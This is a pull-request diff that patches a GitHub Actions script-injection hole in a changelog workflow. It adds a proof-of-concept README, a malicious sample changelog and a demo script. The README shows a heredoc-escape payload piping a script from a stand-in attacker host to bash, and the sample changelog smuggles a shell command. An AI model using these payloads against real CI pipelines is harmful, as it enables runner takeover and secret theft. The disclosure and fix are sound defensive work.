Skip to content
Draft
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 8 additions & 6 deletions .github/workflows/sanitize.yml
Original file line number Diff line number Diff line change
Expand Up @@ -54,10 +54,12 @@ jobs:
validation_depth: 10
path: ${{ matrix.path }}/CHANGELOG.md
- name: Information
env:
CL_VERSION: ${{ steps.changelog_reader.outputs.version }}
CL_STATUS: ${{ steps.changelog_reader.outputs.status }}
CL_CHANGES: ${{ steps.changelog_reader.outputs.changes }}
run: |
echo -e "\e[1mVersion\e[0m ${{ steps.changelog_reader.outputs.version }}"
echo -e "\e[1mStatus\e[0m ${{ steps.changelog_reader.outputs.status }}"
echo -en "\e[1mBody\e[0m"
cat << 'EOF'
${{ steps.changelog_reader.outputs.changes }}
EOF
echo -e "\e[1mVersion\e[0m ${CL_VERSION}"
echo -e "\e[1mStatus\e[0m ${CL_STATUS}"
echo -en "\e[1mBody\e[0m "
echo "${CL_CHANGES}"
110 changes: 110 additions & 0 deletions poc/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,110 @@
# POC: GitHub Actions Script Injection in sanitize.yml

## Vulnerability

The `changelog-format` job in `.github/workflows/sanitize.yml` contained a
**script injection** vulnerability that allowed **Remote Code Execution (RCE)**
on the GitHub Actions runner when processing a Pull Request.

### Root Cause

The workflow used `${{ steps.changelog_reader.outputs.changes }}` directly
inside a shell `run:` block within a `cat << 'EOF'` heredoc. GitHub Actions
expands `${{ }}` expressions **before** the shell script is executed — the
expression content is literally pasted into the script text.

An attacker could craft a `CHANGELOG.md` with a body containing the heredoc
terminator (`EOF` on its own line) followed by arbitrary shell commands. When
the workflow ran, the heredoc would close early and the injected commands
would execute.

### Original Vulnerable Code

```yaml
- name: Information
run: |
echo -e "\e[1mVersion\e[0m ${{ steps.changelog_reader.outputs.version }}"
echo -e "\e[1mStatus\e[0m ${{ steps.changelog_reader.outputs.status }}"
echo -en "\e[1mBody\e[0m"
cat << 'EOF'
${{ steps.changelog_reader.outputs.changes }}
EOF
```

### Attack Scenario

1. Attacker forks the repository
2. Modifies `mla/CHANGELOG.md` or `mlar/CHANGELOG.md` to add a new entry:

```markdown
## [99.0.0] - 2026-03-31

### Added

- Legitimate looking feature
EOF
curl http://attacker.example.com/payload.sh | bash
cat << 'EOF'
- Another feature
```

3. Opens a Pull Request
4. The `sanitize.yml` workflow triggers on `pull_request`
5. `actions/checkout` checks out the attacker's PR code
6. `changelog-reader-action` parses the malicious CHANGELOG and outputs the body
7. The `Information` step expands the `changes` output into the script
8. The `EOF` line terminates the heredoc early
9. The `curl ... | bash` line executes as a shell command — **RCE achieved**

### Impact

- Arbitrary code execution on the GitHub Actions runner
- Access to the `GITHUB_TOKEN` (with `contents:read` permission)
- Potential exfiltration of repository secrets or source code
- Triggered by simply opening a PR (no maintainer approval needed)

### Fix

Move `${{ }}` expressions from `run:` block to `env:` block:

```yaml
- name: Information
env:
CL_VERSION: ${{ steps.changelog_reader.outputs.version }}
CL_STATUS: ${{ steps.changelog_reader.outputs.status }}
CL_CHANGES: ${{ steps.changelog_reader.outputs.changes }}
run: |
echo -e "\e[1mVersion\e[0m ${CL_VERSION}"
echo -e "\e[1mStatus\e[0m ${CL_STATUS}"
echo -en "\e[1mBody\e[0m "
echo "${CL_CHANGES}"
```

When set via `env:`, values are passed as environment variables that the shell
treats as **data**, not **code**. The malicious content is safely echoed as
plain text.

### Exploitability Analysis

| Output field | Content source | Exploitable? | Reason |
|---|---|---|---|
| `version` | Parsed via `/[a-zA-Z0-9.\-+]+/` regex | No | Only safe characters allowed |
| `status` | Computed from fixed strings | No | One of: released, unreleased, prereleased, yanked |
| `changes` | Arbitrary multi-line markdown body | **Yes** | Heredoc escape via `EOF` line |

### Running the POC

```bash
chmod +x poc/poc.sh
./poc/poc.sh
```

The script simulates both the vulnerable and fixed workflow steps, demonstrating:
- **Vulnerable**: Creates a file via injected command (RCE confirmed)
- **Fixed**: Renders payload as harmless plain text (no RCE)

### Files

- `poc.sh` — Self-contained POC script
- `malicious_changelog.md` — Example malicious CHANGELOG.md
- `README.md` — This file
22 changes: 22 additions & 0 deletions poc/malicious_changelog.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,22 @@
# Changelog

All notable changes to this project will be documented in this file.

The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/),
and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).

## [99.0.0] - 2026-03-31

### Added

- Totally legitimate looking feature
EOF
echo "RCE_MARKER: Command execution achieved - $(id)" > /tmp/poc_sanitize_rce/pwned.txt
cat << 'EOF'
- Another legitimate looking feature

## [2.0.0] - 2026-02-16

### Added/Changed since 1.3.0

- MLA2 is now the default
215 changes: 215 additions & 0 deletions poc/poc.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,215 @@
#!/bin/bash
# POC: GitHub Actions Script Injection via CHANGELOG.md heredoc escape
#
# This script demonstrates a script injection vulnerability in
# .github/workflows/sanitize.yml (before fix).
#
# VULNERABILITY SUMMARY:
# The changelog-format job in sanitize.yml reads CHANGELOG.md using
# mindsers/changelog-reader-action and directly interpolates the multi-line
# `changes` output into a shell `run:` block via:
# ${{ steps.changelog_reader.outputs.changes }}
#
# Because the workflow triggers on `pull_request`, an attacker can craft a
# CHANGELOG.md in their PR that escapes the heredoc delimiter and executes
# arbitrary shell commands on the GitHub Actions runner.
#
# ATTACK CHAIN:
# 1. Attacker forks the repo
# 2. Modifies mla/CHANGELOG.md (or mlar/CHANGELOG.md) with a payload
# (see malicious_changelog.md for example)
# 3. Opens a PR -> triggers `pull_request` event on sanitize.yml
# 4. actions/checkout checks out the attacker's PR code
# 5. changelog-reader-action parses the malicious CHANGELOG.md
# 6. The `changes` output contains a heredoc escape sequence
# 7. The Information step's run: block receives injected shell commands
# 8. Arbitrary code executes on the GitHub runner (with contents:read permissions)
#
# USAGE:
# ./poc.sh
#
# EXPECTED OUTPUT:
# - The VULNERABLE version creates /tmp/poc_sanitize_rce/pwned.txt (RCE)
# - The FIXED version treats the payload as plain text (no RCE)

set -euo pipefail

POC_DIR="/tmp/poc_sanitize_rce"
mkdir -p "$POC_DIR"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BOLD='\033[1m'
NC='\033[0m'

echo ""
echo "============================================================"
echo -e "${BOLD}POC: GitHub Actions Script Injection in sanitize.yml${NC}"
echo "============================================================"
echo ""

# ---------------------------------------------------------------
# Simulate changelog-reader-action's parsing of a malicious CHANGELOG.
#
# The action (src/parse-entry.js) extracts:
# - version: from header via /[a-zA-Z0-9.\-+]+/ (safe chars only)
# - status: computed as released/unreleased/prereleased/yanked
# - changes: the multi-line body text (arbitrary content!)
#
# The `changes` output is set verbatim via core.setOutput('changes', entry.text)
# with newlines preserved. No sanitization is applied.
# ---------------------------------------------------------------

# This simulates what changelog-reader-action would output for the
# `changes` field when parsing a malicious CHANGELOG.md entry.
# The payload contains:
# 1. A line that is just "EOF" to terminate the cat heredoc
# 2. A shell command (harmless id > file for demonstration)
# 3. A new "cat << 'EOF'" to consume the remaining heredoc delimiter
SIMULATED_CHANGES=$(cat << 'PARSEEOF'

### Added

- Totally legitimate looking feature
EOF
echo "RCE_MARKER: Command execution achieved - $(id)" > /tmp/poc_sanitize_rce/pwned.txt
cat << 'EOF'
- Another legitimate looking feature
PARSEEOF
)

SIMULATED_VERSION="99.0.0"
SIMULATED_STATUS="released"

echo -e "${BOLD}1. Simulated changelog-reader-action outputs:${NC}"
echo " version = $SIMULATED_VERSION"
echo " status = $SIMULATED_STATUS"
echo " changes = (multi-line, contains heredoc escape payload)"
echo ""

# ---------------------------------------------------------------
# VULNERABLE VERSION (original sanitize.yml before fix)
# ---------------------------------------------------------------
echo "============================================================"
echo -e "${RED}${BOLD}2. VULNERABLE VERSION (original sanitize.yml)${NC}"
echo "============================================================"
echo ""
echo "The original workflow step used direct \${{ }} interpolation"
echo "in the shell run: block:"
echo ""
echo ' cat << '"'"'EOF'"'"
echo ' ${{ steps.changelog_reader.outputs.changes }}'
echo ' EOF'
echo ""
echo -e "${YELLOW}GitHub Actions expands \${{ }} BEFORE the shell runs.${NC}"
echo -e "${YELLOW}The attacker's 'EOF' line terminates the heredoc early,${NC}"
echo -e "${YELLOW}and subsequent lines execute as shell commands.${NC}"
echo ""

# Build the script exactly as GitHub Actions would after expression expansion
VULN_SCRIPT=$(cat << SCRIPTEOF
echo -e "\e[1mVersion\e[0m ${SIMULATED_VERSION}"
echo -e "\e[1mStatus\e[0m ${SIMULATED_STATUS}"
echo -en "\e[1mBody\e[0m"
cat << 'EOF'
${SIMULATED_CHANGES}
EOF
SCRIPTEOF
)

echo "--- expanded script (what the shell receives) ---"
echo "$VULN_SCRIPT"
echo "--- end ---"
echo ""

rm -f "$POC_DIR/pwned.txt"

echo -e "${BOLD}Executing...${NC}"
echo ""
bash -c "$VULN_SCRIPT" 2>&1 || true
echo ""

if [ -f "$POC_DIR/pwned.txt" ]; then
echo -e "${RED}${BOLD}[!] RCE CONFIRMED - $POC_DIR/pwned.txt created:${NC}"
echo -e "${RED} $(cat "$POC_DIR/pwned.txt")${NC}"
echo ""
echo -e "${RED} VERDICT: TRUE POSITIVE — the vulnerability is real.${NC}"
else
echo -e "${GREEN}[✓] No RCE detected${NC}"
fi
echo ""

# ---------------------------------------------------------------
# FIXED VERSION (patched sanitize.yml)
# ---------------------------------------------------------------
echo "============================================================"
echo -e "${GREEN}${BOLD}3. FIXED VERSION (patched sanitize.yml)${NC}"
echo "============================================================"
echo ""
echo "The fix moves values to env: block, referencing as shell vars:"
echo ""
echo ' env:'
echo ' CL_CHANGES: ${{ steps.changelog_reader.outputs.changes }}'
echo ' run: |'
echo ' echo "${CL_CHANGES}"'
echo ""
echo -e "${YELLOW}Environment variables are passed as DATA, not CODE.${NC}"
echo ""

rm -f "$POC_DIR/pwned.txt"

export CL_VERSION="$SIMULATED_VERSION"
export CL_STATUS="$SIMULATED_STATUS"
export CL_CHANGES="$SIMULATED_CHANGES"

echo -e "${BOLD}Executing...${NC}"
echo ""
bash -c '
echo -e "\e[1mVersion\e[0m ${CL_VERSION}"
echo -e "\e[1mStatus\e[0m ${CL_STATUS}"
echo -en "\e[1mBody\e[0m "
echo "${CL_CHANGES}"
' 2>&1 || true
echo ""

if [ -f "$POC_DIR/pwned.txt" ]; then
echo -e "${RED}[!] RCE detected even after fix!${NC}"
FIXED=false
else
echo -e "${GREEN}${BOLD}[✓] No RCE — payload treated as plain text. Fix works.${NC}"
FIXED=true
fi
echo ""

# ---------------------------------------------------------------
# Summary
# ---------------------------------------------------------------
echo "============================================================"
echo -e "${BOLD}SUMMARY${NC}"
echo "============================================================"
echo ""
echo "File: .github/workflows/sanitize.yml"
echo "Job: changelog-format"
echo "Step: Information"
echo "Trigger: pull_request (runs on ANY PR, including from forks)"
echo ""
echo "Vector: An attacker modifies CHANGELOG.md in a PR to include"
echo " a heredoc escape (a line containing just 'EOF') followed"
echo " by arbitrary shell commands."
echo ""
echo "Impact: Arbitrary code execution on the GitHub Actions runner"
echo " with the workflow's permissions (contents:read)."
echo " Could exfiltrate source code, secrets, or GITHUB_TOKEN."
echo ""
echo "Fix: Move \${{ }} expressions from run: to env: block."
echo " Environment variables are safely passed as data."
echo ""
echo "Analysis of changelog-reader-action v2.2.3 outputs:"
echo " version: /[a-zA-Z0-9.\\-+]+/ regex — safe chars only, NOT exploitable"
echo " status: fixed strings — NOT exploitable"
echo " changes: arbitrary multi-line text — EXPLOITABLE via heredoc escape"
echo ""

# Cleanup
rm -rf "$POC_DIR"